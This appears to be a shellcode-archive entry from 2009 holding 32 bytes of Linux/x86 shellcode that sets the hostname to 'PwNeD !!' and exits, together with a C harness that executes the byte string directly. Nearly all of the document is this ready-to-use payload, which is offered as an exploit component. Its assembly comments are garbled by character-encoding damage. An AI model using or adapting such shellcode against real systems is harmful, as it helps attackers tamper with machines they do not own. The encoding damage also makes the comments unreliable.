Linux/x86 - sys_sethostname(PwNeD !!, 8) Shellcode (32 bytes)

2009-05-31 13:05:03

/*
Title : sethostname "pwned !!"
Name : 32 bytes sys_sethostname("PwNeD !!",8) x86 linux shellcode
Date : may, 31 2009
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : devilzc0de.com
blog : gunslingerc0de.wordpress.com
tested on : linux debian
*/

#include <stdio.h>

char *shellcode=
"\xeb\x11" /* jmp 0x8048073 */
"\x31\xc0" /* xor êx,êx */
"\xb0\x4a" /* mov $0x4a,%al */
"\x5b" /* pop ëx */
"\xb1\x08" /* mov $0x8,%cl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor êx,êx */
"\xb0\x01" /* mov $0x1,%al */
"\x31\xdb" /* xor ëx,ëx */
"\xcd\x80" /* int $0x80 */
"\xe8\xea\xff\xff\xff" /* call 0x8048062 */
"\x50" /* push êx */
"\x77\x4e" /* ja 0x80480c9 */
"\x65" /* gs */
"\x44" /* inc %esp */
"\x20\x21" /* and %ah,(ìx) */
"\x21"; /* .byte 0x21 */

int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
((void (*)(void)) shellcode)();
return 0;
}

Fixes

No fixes

In order to submit a new fix you need to be registered.